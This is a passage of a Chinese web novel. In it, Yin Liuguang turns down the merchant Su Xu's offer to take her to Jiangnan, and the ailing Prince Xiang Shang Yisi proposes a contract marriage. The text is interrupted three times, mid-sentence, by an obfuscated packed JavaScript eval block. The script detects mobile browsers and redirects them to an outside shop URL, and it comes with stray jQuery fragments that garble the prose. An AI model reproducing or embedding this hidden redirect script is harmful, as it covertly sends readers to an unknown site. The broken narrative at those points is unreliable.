往日里商遗思在朝中的时候,只要往那一站,面无表情地扫过文臣们,便有人哆嗦着拿不稳笏板。
毕竟谁也不想得罪他,一旦得罪了他,不知什么月黑风高的时候,就进了襄王殿下府中的兽苑,成了豺狼虎豹的加餐。
这位军功隆盛的将军,自身就是天子丹墀玉阶之下,所豢养的最大的那只猛兽。
正值长公主陪同天子弈棋,闻言慢悠悠落下一子:“襄王啊,自然是对陛下忠心耿耿的,有时连我的面子都不给呢。”
天子吃了她一子,笑道:“他年轻气盛,若是有得罪阿姐的地方,朕替他赔个不是。”
长公主扭头,对着太子道:“阿宣,你可听到了?依我看呐,你阿耶对望尘可比对你偏心多了,改日你有空可要登门看望看望他,讨教一下如何才能博取圣宠呐。”
跟寿昌在旁陪着煮茶的太子并没有听进去这三言两语的挑拨,微笑道:“姑母教训的是,明日我就登门拜访,看看望尘的病如何了,再这么病下去,金吾卫都要不成体统了,夜神司行事也颇为束手束脚。”
天子点头:“嗯,这倒是提醒了朕,望尘所辖的那支金吾卫一向与你的夜神司配合抓捕方外兽,快到年关了,太子,好好办事,不要出岔子。”
太子放下茶盏,恭恭敬敬道:“儿明白。”
寿昌从这场看似咸淡,实则太子跟长公主都神经紧绷的家人小聚中抬起头,大赞天子这里的葡萄好吃,天子大笑,命人将进贡来的三盒葡萄都送去了公主宅。
殷流光捻了一颗葡萄吃,心想难怪这几日默玄都没来找他。
商遗思瞧着面冷矜傲,没想到是个如此脸皮薄之人。
那夜其实他们什么都没做,但知道自己跟她一起在屋子里待了一整夜时,那张脸可以称得上是精彩纷呈。
前些日子还没昏迷的时候,一直没让默玄来找她,怕只是因为没想好怎么面对她。
现在好了,硬撑着硬撑着,直接病重昏迷了吧?
她忽然皱起眉:“嘶,这葡萄好酸!”
葡萄酸涩的汁水沁在贝齿之间,强烈的刺激让她不禁眯起眼,酸到苦涩的滋味像是也流淌进了心中。
她蓦然想起商遗思那日夜间,垂眸迷蒙地瞧着她时,那双宛如黑曜石一样幽静的眼眸。
落在她脸上的时候……有种馥郁的酒味。
是甜的。
真是奇怪。明明那么冷淡的人,生病迷蒙的时候,却会露出那么让人误会的,仿佛眷恋不舍一般的神情。
一起吃葡萄的侍女见她站起身,疑惑问道:“四娘,你要去哪里?葡萄还没吃完呢。”
殷流光回眸,眨眨眼:“我有点事,出府一趟,回来再跟姐姐一起玩六博啊。”
……
临近年关,寒露茶铺的客流越发络绎不绝,就连店主苏胥也在店中整日忙得脚不沾地。
好不容易店里清净了一会,他正站在柜台后低头清点账目,忽然听到登门的脚步声,头也不抬道:“小七,快去招待客人。”
小七恰好不在店内,客人的声音响了起来:“苏郎君,几日不见,你家铺子里都进了些什么新茶?”
他拨动算盘的手一停,抬起脸,对着眼前人,眉眼轻轻舒展而开:“殷四娘子。”
“这些日子收了些不错的顾渚紫笋,娘子难得来一趟,不如请入内室,苏某亲自为娘子制茶。”
“好啊。”
殷流光微微一笑。
商遗思病了,自然有一大堆人关心他,若是实在不行,默玄就会来找她。
默玄不来找她,那就说明没事,她急着过去,反而显得好像很关心商遗思一样。
所以她走到一半,脚步一转,来了西市。
苏胥带着殷流光来到了铺子后的茶室,殷流光安静瞧着他不疾不徐制茶的样子,就仿佛是在观看一幅缓缓铺陈的江南烟雨图。
在这严酷的京城隆冬,这间茶室却因着眼前人氤氲如春。
可惜这春水一样的公子,却也满身都缠着烟雾靡雨,令人捉摸不透。她看不透他的动机,所以选择直接来问。
满室静寂,她看了一会,道:“苏郎君,那日乐游原初见,我的马车坏了,恰好你路过相救……真的是偶遇吗?”
“娘子何出此言?”
他碾茶的动作依旧如同行云流水,仿佛是贵公子在漫不经心地亲手研墨。
殷流光道:“阎浮鬼市虽然地方不大,但到处黑影憧憧,岔路极多,魍郎君所在的那一片多的牙人聚集地,就算是普通人好奇逛鬼市,也极少会去到那里,若是想要恰好在我与魍郎君做交易时偶遇,也不是什么容易的事。”
“那日某也是想要寻牙人购置长安宅邸,听说魍郎君在牙人这一行极其有名,许多京城的宅子他都有门路,是以某才会在那里再次遇见娘子。”
滴水不漏的回答,嗓音也恰到好处,如碎玉轻撞。
殷流光微微一笑,不以为意:“再说到这次我出事,我前一日出事,后脚你就带着千金上了公主门,第二日寿昌公主就将我救走……此事涉及谋反,殷家绝不敢大肆张扬,你知道的这么快,这么清楚——难道不是在殷家安插了眼线,监视我吗?”
苏胥还要再说什么,殷流光却已经先他一步开了口:“你的眼线,不就是知意吗?”
他碾茶的动作蓦然停住,抬起眸似是赞赏,又带着讶异:“娘子是如何猜到的?”
其实很简单。
从苏胥几次三番的行径来看,都是针对她而不是殷家,既然他是对她抱有某种动机,自然没有比知意更合适的人选做眼线。
此外她的罪名是谋反罪人余党,殷家人就算再见钱眼开,也不会告诉苏胥这种罪名,整个家中只有知意会为了救她,把这件事告诉苏胥。
只是殷流光相信知意不是会被钱所收买的人,苏胥定然是用了某种手段诓骗她。
果然听到苏胥道:“娘子的那位婢女虽然忠心耿耿,却实在好骗。”
“某只不过是在她经常采买的铺子前与她多偶遇几次,闲谈几句,她便不知不觉间,什么话都被我套了出来。”
他将沸水注入邢窑茶盏,沁人心脾的香味四溢,殷流光盯着他的动作,道:“我想知道苏郎君又是套我婢女的话,又是送千金入公主府救我,到底想要做什么?”
苏胥将茶盏推到殷流光面前,不疾不徐,嗓音淡远:“娘子如此聪慧,定能猜到某所求为何。”
她想起那天乐游原的暴雨如注,马车内男人拨动算盘的轻响,还有撩开帘子,告诉她自己名叫苏胥时,如山岚轻雾的淡灰色眼眸。
隔着滂沱雨帘,也挥之不去,如影随形。
“难道是……是因为我?”
她道:“乐游原并非你我初遇,我们很久以前就见过,对吗?”
她说这话的时候,心里在飞速盘点。
以前跟着观山在乐游原行骗的时候,不会骗过什么江南来的贵妇人小公子吧?
苏胥难道是被她跟师父坑过,千里迢迢找她报仇的?
但苏胥低低一笑,轻缓开口:“再见面的时候,你没有认出我,我很伤心。”
“后来我在京城打听到你成了广平侯府的世子妃,不仅如此,还有襄王也上门提亲……”
他叹息一声:“我本想着,等过了年,我在京城真正地站稳了脚跟,再有底气和他们抢人,却不曾想短短几个月就发生了这么多事。”
殷流光开始感觉不对劲了。
苏胥说的这些话,不像是跟她有仇,倒像是看上她了?
“现如今祁承筠爵位被夺,潦倒不堪,你在殷家也失了容身之处,虽然如今暂居寿昌公主宅,但以你的性子,想必不会久居人下,既然今日你开了这个口,道破了我的所求……”
他抬起眸子,缓缓道:“殷流光,我在江南也是当地富商,有良田千顷,奴婢无数,只要你想,这些都是你的。江南风光秀美,四季皆如画卷,与这冷肃京城截然不同。”
“你要不要,随我回江南?”
见她似是微愣,神情动摇,苏胥勾起唇,蛊惑地说道。
“你在京城这四方天地里待了这么久,也被困了这么久,就不想去外面的广阔天地,看看你不曾见过的风光吗?”
原来苏胥来长安,根本不是为了做生意,从一开始就是为了她。
可是,为什么?
殷流光怎么想也想不起来从前跟苏胥打过交道,她很疑惑:“我们以前到底在哪里见过?”
苏胥却避而不谈,直勾勾地盯着她,仿佛透过她在回忆什么:“我告诉你的,和
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986131|193637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你自己想起来,究竟是不同的。”
他微微一笑,端坐于殷流光的对面,蔼蔼日光从他身后的窗子外透了进来,照出苏胥挺秀如兰的身姿。
“等你喜欢上我,开始在意我、好奇我,自然会想起来你我前缘。”
殷流光:?这幅情深似海的模样是怎么回事?
难道最近她的红鸾星动了?还是师父多年前给她下的桃花咒终于见效了?
最近怎么一个两个的,都想把她往家里拐?
殷流光本来只是想探探苏胥的底,弄清楚他监视自己接近自己到底是为了什么,却没想到竟然探出一个桃花情缘。
如果她还是半年前的她,说不准真的会心动,去跟这俊秀郎君去江南看一眼春风烟雨,杨柳荷花。
可惜……她身怀古怪的能力,寻常人都视之为妖,又怎么能奢望普通的情爱?
不过,这苏胥神秘莫测,不按常理出牌,虽如今一副所作所为皆是为了她的深情模样,但毕竟曾瞒着她诓骗知意,从知意口中套话。
他对自己如此紧追不舍,也不知是不是只放了知意这一双眼睛,她的秘密……他是否有察觉?
她需要探一探。
殷流光缓缓道:“苏郎君,长安传奇小说风行无比,我也曾买来话本,读过一个游仙窟的故事。”
“刘阮二人误入深山,无意中遇到两位貌美女子,他们结为夫妻恩爱缠绵,直到刘阮思念家中不得不离开深山,再次返回时才发现,他们遇到的美貌女子并非凡人,而是山中精怪,若是换了你,你会不在乎人与精怪的分别,继续寻找妻子,还是就此返回尘世,只当从前是游仙一梦,华胥之游?”
苏胥有些不明白殷流光为何忽然与他聊起市井传奇,理解了一下这个故事,认为殷流光是在考验他日后若是与她成了亲,会不会流连烟花之地。
他肃穆坚定道:“神仙精怪,鬼魅之说都是虚妄,柴米油盐,一粥一饭才是我等凡人归处。”
殷流光点头:“明白了。”
看他神情真挚不像在说谎,应该是还不知道她能变兽的秘密。
她放下心来,起身:“不论以前我们有过怎样的前缘,对于现在的我来说,郎君只是我的合作商人罢了,江南虽好,可是我更喜欢京城的万千气象,富贵繁华。”
“这次我出事,郎君出手相助,我心中感念,自然会奉上厚礼想谢,至于其他的,我就当做你是喝茶喝多了在说胡话。”
苏胥一向从容的脸上出现了微微裂痕。
为什么?知意不是说,她从小到大只喜欢钱么?没有任何意中人,看上祁承筠也是因为广平侯府家大业大。
那为何她不选择他?
见殷流光起身要走,他站起身,紧紧盯着她道:“莫非娘子嫌弃某是个商人?”
殷流光已经推开了茶室的门,闻言诧异地回过头:“商人有什么值得嫌弃的?”
“这世间种种,什么不是交易,学成文武艺,卖与帝王家,就连王侯将相都是生意,更遑论你我?”
她说完,眨眨眼嫣然一笑,离开了茶室。
毕竟她也不想跟苏胥的关系闹得太僵,他的寒露茶铺可是每月都要给自己上供的移动钱仓啊。
人走后,苏胥仍立在原地。
那一笑仿佛柔风拂过纤纤绿柳,落花悠悠跌入酒盏,簌簌花瓣连同沉醉的酒意都被吹进了苏胥心中。
他垂下眸,拿起方才殷流光喝过的茶盏,拇指指腹轻轻碾过杯身上那抹淡淡的胭脂痕。
男子轻轻笑了。
“你错了,我不会放弃得到你。”
……
从寒露茶铺离开后,殷流光还是不知不觉走到了襄王宅门口。
望着门口紧闭的大门和气派威武的两头石狮子,她迟疑了片刻。
商遗思宁愿昏迷都要硬撑着不来找她,她却自己这么眼巴巴送上门来,之后还怎么跟他讨价还价要钱?
可他若是真的病死了,岂不是她的罪过……?
更何况,她还有求于他。
就这么犹犹豫豫半天,终于还是决定大发慈悲,准备找个没人的地方变成乌鸦溜进去看看情况时,忽然横过来一道刀鞘拦住了她。
“光天化日之下,就鬼鬼祟祟企图爬本王的墙,殷流光,你怎么每次都能让本王匪夷所思。”
男子的声音从身后马车传来,有些能明显听出来的虚弱,还夹杂着几声咳嗽。
那马车也不知在一旁停了多久,被一棵大槐树挡住,所以殷流光才没看到。
拦住她的人则是默玄。
默玄朝后扬扬下巴,对着殷流光道:“大王等着呢,殷四娘子,请吧。”
40. 一场交易
殷流光上了马车。
马车内坐着的人裹着漆黑狐氅,下巴被蓬松的黑狐狸毛拥簇着,倒像是一点隐约的白玉没入无边墨色。
偷眼打量下来,他虽然难掩病色,容色倦倦,却反而消减了平日里深重莫测的气场,平添几分不堪的风流。
唤了她上车后,商遗思一直没有说话,只捧着手炉,时不时低声咳嗽着,瞧着,真的很难受。
这阵静默让殷流光有些熬不住,率先开了口:“大王,听说你病重昏迷,告假了好几日,如今可好些了?”
商遗思慢慢地从阴影中透出目光,道:“嗯,尚能清醒。”
触碰到他晦暗的眸色,殷流光不禁觉得有些古怪,看到他风尘仆仆的病容,问了一句:“大王从哪处回来?”
“寿昌公主宅。”
殷流光不禁打了个激灵:“大王去那里做什么?”
他没有说话,目光却落在她的手腕,白皙纤细的手腕上有着被京兆狱的刑具磨出的淤青。
京兆狱的刑枷不如金吾狱的好用,但套在人身上,也是疼的。
“在京兆狱待了一夜,感觉如何?”
看来他清醒后,自己的事也都知道了。
“大王总不能指望我说,入住体验十分良好这种鬼话吧?”
殷流光靠在车壁上,不动声色地遮住腕上的淤青,盖住他轻触在肌肤上的目光,笑嘻嘻瞧着他。
也不知为什么,唯独不想让他,不想让眼前此人看到自己狼狈的模样。
察觉到她疏离的意图,商遗思别开了视线。
还有心情开玩笑,看来这谋反之罪落在她身上,竟分毫也没影响到她的心境。
乌黑的眼眸一闪一闪的,像是藏了许多簇簇向光的小火苗,跳跃不休,不知是真的没有软弱害怕,还是只是在他面前又戴上了假面。
毕竟他可是见过她在祁承筠面前,装作莹莹可怜的模样。
“既然无事,那便最好。”
他垂下眼不再看她,平生第一次觉得自己可笑,想到去寿昌府中要人时她说的话。
“襄王?可真是稀客啊~不过嘛,殷家四娘她已经答应留在我的府上,做我的家令了,你晚了一步。”
那的确是殷流光会答应的事情。
寿昌是集万千宠爱于一身的公主,天子的爱女,太子最亲的妹妹,就连长公主也不会对她有过多苛责。
寿昌公主宅明珠嵌地,香粉涂墙,跟只有一苑吓人猛兽的襄王府比起来,富丽堂皇太多。
做她的家令,对殷流光来说,不吝于是老鼠掉进了米缸,她根本不可能拒绝。
寿昌问他为何要人,他面不改色地说,事涉谋反,公主包庇罪人,他自然是来登门拿人问询的。
寿昌便登时慌了神色,大声说她阿兄也应了的,要人的话先找她阿兄说去!
呵……原来太子也默许了此事。
太子虽宠溺寿昌,涉及朝政却从不会纵容她胡闹,如今默许她包庇一桩谋反案的涉案之人,居心何在?
一时间,淤血逆行,心口又是一窒。
回程的马车上,便一直面无表情地沉沉坐着。
却没想到,在门口撞见了殷流光。
如今他想知道的是,殷流光来他宅邸门前鬼鬼祟祟,是想做什么?
正要开口,却突然见她眨眼间便蹭到自己身边,狡黠灵动的那张脸骤然放大数倍在他眼前。
“大王,我有一件事想问问你。”
武将对于危险的本能刻入骨髓,在她有所动作的前一刻,他便察觉到了她的意图,动了动手想制止,但终究还是作罢。
他别过视线不去看殷流光,嗓音如冷玉轻叩,含着警惕:“何事?”
“大王今日,为何要去寿昌公主宅?”
……
“本王的行踪,何时需要向你交代?”
他怎么可能会说是因为她。
原本他硬撑着不准任何人去找殷流光,便是因为不想她因为跟一个将死之人有过肌肤之亲,而拖累她一生。
可是,听到她出事的时候,他几乎在一瞬间就做出了决定。
要去护她安危,为那夜之事给她一个应有的补偿。
可如今……她大约也不需要自己的这份补偿了。
殷流光从小跟着观山见过千人千面,相面之术靠的都是察言观色,自然能看出此刻商遗思苍白病容之下,勉强遮掩的不自在。
她合理猜测了一下。
“是不是大王的病扛不住了,十分需要我当药引子?”
商遗思皱了皱眉,沉沉看着她:“我跟殷家那些人不一样。”
他身上沉缓的香气渗入她鼻尖,她偷偷吸了吸鼻子,不知道从什么时候开始,商遗思身上的香味,竟会让她觉得安心。
就像他这个人一样,最开始的时候如冰似雪,只瞥来一眼就让人遍体生凉。
但如今见到他的时候,触碰到他如渊如泉的目光,却好像皎月照临,落在身上的冰雪都被无声而轻盈地拂落一般。
殷流光笑了下,一派坦然:“我当然知道。”
“其实,我不是讨厌被人有所图谋。”
“……为何?若是本王亲自来寻你,只是为了拿你当药引,你难道不该对本王深恶痛绝?”
看着商遗思眉头越皱越深的样子,殷流光笑了。
“可是我知道大王品行高洁,若是对我有所求,定然会给我相应的酬劳。”
“而且,大王如今是整个长安城里除了太子和长公主外最尊贵的贵人了,这样的贵人对我有所求,想从我身上得到些什么,那是我的价值所在,我可以用大王的所求换取我想要的,绝对物超所值。”
“母亲……不,宋夫人想要我的血和肉,却不愿意给我些什么,这笔交易根本没有赚头,我当然不喜欢。”
她掰着指头分析得头头是道,口吻像极了东西两市上为了一文钱锱铢必较的商贾。
可她谈论的,却是把自己当成商品,近乎于无情地估算“殷流光”这件商品的价值几何。
手中的暖炉散发着幽幽的梅花香气,残烬闪烁着一星半点的火光,那点火沫映在商遗思寒潭般的眼底,顽强地
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986132|193637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
摇曳着。
透过这些微的火光,他像是从这看似市侩的女子身上,望见自己不曾知晓的,也不曾见过的……
某个弱小顽强,不断给出筹码,给出他人想要之物,才能获得些许单薄的“温暖”的小姑娘。
丝毫厌恶也无,在这狭小的空间里,此刻留存在他心中的,竟然只有对她忍不住的怜惜……以及,对殷家下作手段的愠怒。
他沉声问道:“若是宋绯也给你金银,你就愿意为殷守善割血?”
想了想好像也不太可能,毕竟赚钱的路子很多,但身体只有一个,殷流光摇了摇头:“那还是不了,救殷守善的价钱,宋夫人出不起。”
这位好阿兄的命,可是要用她的命来抵呢。
但她的命,价值连城,千金万金也买不起。
答应了阿娘会活下去,她就一定会长命百岁,健康无忧地活下去。
谁也不能夺走这份誓言。
沉默了片刻,商遗思缓缓道:“殷流光,世间万物对你而言,都是可以交易的么?”
他的语气里并没有轻蔑或者好恶,像只是一个单纯的问询。
殷流光想了想,点点头:“当然了,万事万物都可以用交易来衡量。”
就像她对苏胥说的那样。
天地间,无人不商贾。
情人买卖真心和温暖,君臣买卖忠心和权位,太子想要用东宫侍妾的名分买她的计谋机灵,寿昌也是想用家令之位,买她能逗自己开怀的本事。
她和商遗思……能买卖的,大抵就是她误打误撞成了商遗思救命药引这件事。
他一定是因着这件事上门来找自己的。
否则高坐于云端之上的贵人,为何会在她面前纡尊降贵地停留?
车厢内安静了一会,商遗思缓缓道:“殷流光,按照你说的,你来找我,只是为了伺机与我谈交易?”
她的眼神游移了片刻,心中快速思索。
看商遗思的模样,像是准备松口,跟她谈这桩生意了,她要是说自己是因为担心不由自主走来了这里,一定反会被商遗思拿捏狠狠还价。
殷流光立刻道:“是的!”
不知为何,眼前男人像是蓦然松了口气,像是释然,终于不再纠结,又像是带着些……淡淡的涩然和解脱。
她还在疑惑间,听到商遗思极其平静,像是想通了什么事情的话音。
“那么殷流光,来与本王谈一场生意吧。”
“本王的病治好,需要八个月的时间,这八个月内,你需跟在本王身边,八个月后,本王放你自由。”
这是他的条件了,殷流光立刻十分狗腿地点头,试探着问价:“好说好说,那做大王的药引的话,大王能开给我的价钱是……”
至少要给她不低于寿昌公主府家令的待遇吧?
唔……若是能每日吃到长乐天的酒食就更好了!
“不是药引。”
他拥着狐裘,缓缓抬起眼,漆黑的眼眸像是积着许多难言的情绪,却都被无尽的墨色吞没。
“本王要你,做我的襄王妃。”
41. 焚雪之焰
殷流光如遭雷击,目瞪口呆。
“什、什么意思……”
片刻的寂静,商遗思垂下眼眸,望向从窗缝中溜进来的淡薄日光。
“你不必多想,本王对你……并非有爱慕之意。”
女子的神色里有惊慌失措,有不知所措,但没有她在琼池楼答应祁承筠时,那哪怕掺杂着假意的笑容。
他顿了下,只觉得心口微滞,极缓慢地开口:“做我的襄王妃,只需要八个月即可。八个月后,襄王府所有家产,宅邸、田庄,我这些年在朝为官的积蓄……包括长乐天,都是你的。”
想到殷流光知道长乐天是他产业时,那副两眼放光的模样,他想这个出价对她来说应当是无法拒绝的诱惑。
果然,殷流光被这番话兜头砸了个措手不及,听到“长乐天”也归她时,更有种天上掉馅饼的如坠云雾之感。
头晕目眩之际,她甚至都有些反应迟缓,望着商遗思,愣愣道:“这买卖是不是太划算了?……而且这些都给我,那大王怎么办?”
只要照顾他八个月,他的全部身家都会给自己,天下哪有这么好的事?
总不能是商遗思善心大发吧?
商遗思握着手中已经变得有些冷的暖炉,感受着这幅残躯内,四肢百骸都因着温度的陡然消失而缓缓凝滞的血液,眼底厌弃神色一晃而逝。
他言简意赅:“回陇幽。”
殷流光想了起来,知意买回来的野史话本上,那些关于商遗思的过往。
陇幽是他生长的地方,灵朔是他祖父三代镇守之地,商遗思原本就是手握其祖父都督玺印,刺杀鬼方左亲王,收服灵朔。
在进京面圣之前,他便是实际意义上的陇幽都督。
如今弟妹惨死,他复仇成功后厌倦朝堂争斗,想要回陇幽也可以理解。
而且殷流光也知道,在外的封疆大吏,实权都督,可比在长安的京官要过得舒服多了。
可他为何突然心生退意?又为何什么东西都不带走?
难道商遗思果真是那种……视金钱为粪土之人?世上真的有如此超凡脱俗之人?
殷流光试探着问出口,却没想到商遗思的回答十分务实。
“我的病症需要你照顾我,寸步不离,直到我病愈,这便需要你住在襄王府,且鉴水也说过,此病并非一朝一夕便可痊愈。”
“你常住在襄王宅,非妻非妾,旁人如何议论?纵然你我清清白白,只怕我病愈之后,长安中人也会对你我指指点点,本王爱清净,难免会不胜其烦。”
他的口吻平淡:“既然如此,不如我直接娶你为妻。”
“既然世间万物对你而言都是交易,祁承筠能许你的,本王亦可许你,甚至更多,待本王病愈远赴陇幽,自会与你和离,并言明是我的过错,襄王宅一切积蓄,都当做是给你的赔偿。”
“如此,你无需遭人非议,也不必投入感情,便能拿到你想要的财富,本王落得清净,也能得到本王想要的。”
他看殷流光还是面带疑虑,想必还是觉得这种天上掉馅饼的事太过离奇,加了一句:“至于长安这些家产,与我陇幽祖业相比,不过十分之一,给你当做补偿,与我而言轻如鸿毛,你无需忧惧本王日后会反悔讨要。”
原来是这样啊……
殷流光忍不住暗自磨牙,用愤恨的眼神偷偷射向商遗思。
难怪襄王宅如此简陋,想必是他为了让天子放心,所以事事简朴以示清廉,实际上……他的财产置业都在西北老巢呢!
这样一想,殷流光便没有之前那么纠结疑惑,竟然也被说服了,只是她还有最后的问题。
她看向眼前神色稀松平常,仿佛只是在与她讨论一件要紧的公事,需要她配合的襄王。
“咳,可这样随随便便就结下婚姻真的好吗?若是日后,大王遇到了心仪的女子,又该如何?那个时候难道不会看我碍眼,将我赶出襄王宅吗?”
拥着狐裘的人咳嗽了几声,嗓音暗哑:“此事你无需忧心。”
他的唇角勾起了一丝不知是不是自嘲,亦或是深重的厌倦的淡淡弧度。
“本王这一生,不会有所谓的,心仪之人。”
这句话如同谶语,落在空中如同被风吹动的红笺,只是那上面布满虫噬的痕迹。
莫名地,殷流光的心中也仿佛被小小的虫豸啃咬了一口,传来微微的疼痛,只是太过隐秘,所以被她下意识忽略。
寻常二十多岁的儿郎这样说这句话,定会被人嗤笑说你就吹吧,去乐游原踏青的时候可别偷看小娘子啊。
但商遗思说这话,却会让人莫名相信。
因为其实她也隐隐约约能感觉到,商遗思身上一直有种若有若无的倦怠感。
尤其是亲手了结祁君疾之后,那种感觉越发明显。
在长乐天那一夜,送走太子与伏月道长后,醉酒的商遗思懒散地把玩着酒壶,墨发如雾,华服珍馐,弦歌丝竹映在他眼底,却恍若无物。
他眼底除开酒色的迷蒙之外,只余浓得化不开的倦色。
是那种虽然手握实权,呼风唤雨,心底却已经郁结难舒,不说荆棘丛生,便是连生长出荆棘的力气也没有了。
留在原地的,仿佛只是一片荒芜的沙漠。
风一吹,满目迷离。
这样的人,心中能住进什么呢?
所谓二十心已朽,大概便是如此吧?只是不知道……那被啃噬的空洞,究竟是为什么变成这样?
“如何,你的回答是什么?”
见她不语,商遗思忍不住轻微地皱眉。
“当时你筹谋设计祁承筠,出手干脆果决,如今到了我这里,为何犹犹豫豫?”
“难道……你对祁承筠,其实动了真心?”
说到此处,商遗思的语气里隐然带了莫名的冷幽。
他又咳嗽了一声,双眸目不转睛地盯着殷流光,空气之中的情绪再次浓稠起来。
殷流光惊愕无比,压低声音。
“大王,就算是假的,那你刚才说的这些也是提亲啊,面对提亲,就算是我也要想几天吧!”
短短几日之内,竟有三位手握权柄的贵人向她抛出橄榄枝,除此外还有个神秘莫测的江南富商缠上了她说要带她回江南。
殷流光也不知道自己今年是撞了贵人运还是桃花运,如今脑子里乱糟糟的,转过寿昌的话、太子的话、还有寒露茶铺中苏胥的话。
“如此……你需要几天?”
商遗思也意识到了自己这些话倒像是在逼婚,冷淡苍白的面容上闪过可疑的红晕,抿着唇和缓了语气。
“呃,除夕之前,大概十天?”
“太久了。”
“那……五天?”
“五天之后,你见到的便是本王淤血逆行的尸体了。”
“……那大王觉得什么时候比较合适?”
“今夜,子时之前。”
……
这跟现在就给答案有什么区别?
殷流光叹了口气:“好,一言为定。”
下马车的时候,殷流光瞧见默玄靠在不远处襄王宅门口的石狮子上,跟着满脸阴郁的君平正说着什么。
君平对外示人时双瞳漆黑,显然是商遗思一直在用香术帮他压制。
她朝他们打了个招呼,默玄挑眉,笑着道:“四娘子,下次见面,我是不是就该叫你王妃了?”
君平则冷冷吐出两个字:“骗子!”
显然还在记恨她利用自己伤害商遗思的事。
殷流光不以为意,挑眉一笑,对着君平道:“骗子能治你家大王的病,你能吗?你要是能这襄王妃的位置也可以让给你啊。”
眼见君平杯气得面色铁青差点晕倒过去,她才笑眯眯扬长而去。
逗蛇真好玩。
……
回到公主宅后,她坐在厢房内,立刻思索起现如今的状况。
其实对她来说,摒弃所有感情因素,答应商遗思的交易仍是最有利的选择。
做太子侍妾仍然要依附于他,做寿昌的家令也要担忧太子的中伤。
苏胥虽然口口声声说为自己而来,可却暗中蒙骗知意做监视她的棋子,如此行为,足见他心思深重,难以把控。
只有商遗思的提议,是给了她想要的,又不至于让她立于危险之地。
甚至与他和离之后,坐拥长乐天这等财产,殷流光便有了底气,可以实现她一直以来的心愿。
自由地、腰缠万贯地活下去,和知意两个人当两只无忧无虑的米虫。
而且这许多次打交道下来,她也已经发现商遗思的真实模样。
襄王的名声虽然不好,但其实做事十分重规矩,且尤为护短。
君平作为白蛇案罪魁祸蛇将长安城搅得人心惶惶,如此他还能在伏月眼皮子底下偷天换日,保下君平,没把他推出去当替罪魁首,足见他有多护短。
他的承诺,应当可信。
既然决定了,殷流光便打算再去一次襄王宅,告诉商遗思自己的回答。
只是刚推开窗子,却瞧见房梁之上,似是有黑影快速在瓦片上穿梭而过,而那黑影腋下挟着的……好像是……!
她眼睛一眯,只犹豫了一瞬,便猛然跳出窗外,女子的身影一霎间蜕为漆黑的乌鸦,闪动着翅膀向月光覆盖的青瓦
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986133|193637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
之上摇摇晃晃地飞去。
……
“大王,东宫那边这几日收拾了一处偏殿出来,说是太子妃吩咐的,收拾出来日后给一位……姓殷的侍妾住。”
“探子还说,西市那个与殷四娘子走得近的茶商,也似乎对她说了什么要带她去江南之语。”
默玄说得十分谨慎,偷偷抬眼看了一眼商遗思。
商遗思一手握着书,一手捏着铜夹,立在香炉旁,将云母片上的香灰剥落,换上新的香片。
猞猁山君卧在他脚下,显然十分喜欢闻这香气,懒懒地打了个滚。
默玄看在眼里,心中忍不住叹息,这驭兽的香方当年也是大王寻觅许久得来,在鉴水道长的帮助下解开了香方的用法。
香方之中不乏以霸道狠辣的香术驾驭众兽的法子,但大王却极少调配那样的方子。
他调的大多都是些对兽,或是对化兽之人都有所助益的,能够控制化形时间,或是可以充分利用兽形能力的香。
大王怜悯众生,可唯独对自己,却总是过分严苛。
见大王的手只是顿了顿,说了句“原来这就是她犹豫不决的原因。”便不再多说什么,只是安静地坐下,研磨起新的香料。
可是默玄心中忍不住焦急:“大王,若是殷四娘子她答应了太子去东宫,或是向往自由要回江南,那您的病可怎么办啊!”
他出主意:“不如等她还没下决定,属下把她抓来,让她哪都去不了!”
商遗思瞟了他一眼,他顿时低头,嗫嚅着不敢多说。
商遗思放下玉杵,淡淡道:“默玄,这香术,你精进得如何了?”
“若是还只学会最简单的变大小,待本王离开之后,你要如何保护京城内剩下的这些化兽者?”
仿佛突然被先生提问课业的学子,默玄立刻卡壳,又听到商遗思后一句,脸上神情逐渐变得愤懑悲伤,呆立良久,最后只憋出一句“属下这就去挑灯研习。”便离开了。
厅内只余商遗思一人。
粉末状的香料气味浓郁,摊在细腻洁白的绢纸上,像是被燃成灰烬的心。
商遗思低声道:“你要如何选呢,殷流光?”
那天鉴水的话仿佛又响在耳边。
“望尘,你知道你为什么会年纪轻轻就心如死灰吗?”
“就是因为你把自己的情看得太重了。”
“你心中喜欢她,却因为知道自己时日无多所以选择不与她牵扯,却没想到犯了离魂症唐突了她。”
“她虽然觉得没什么,但你却心中有愧,因为你对她确确实实有想法。”
“如今在这里硬挨着病不愿意找她,无非是不知道要怎么弥补她,因为你不能给她一生。”
“可如果你换个不这么沉重霸道的想法呢?”
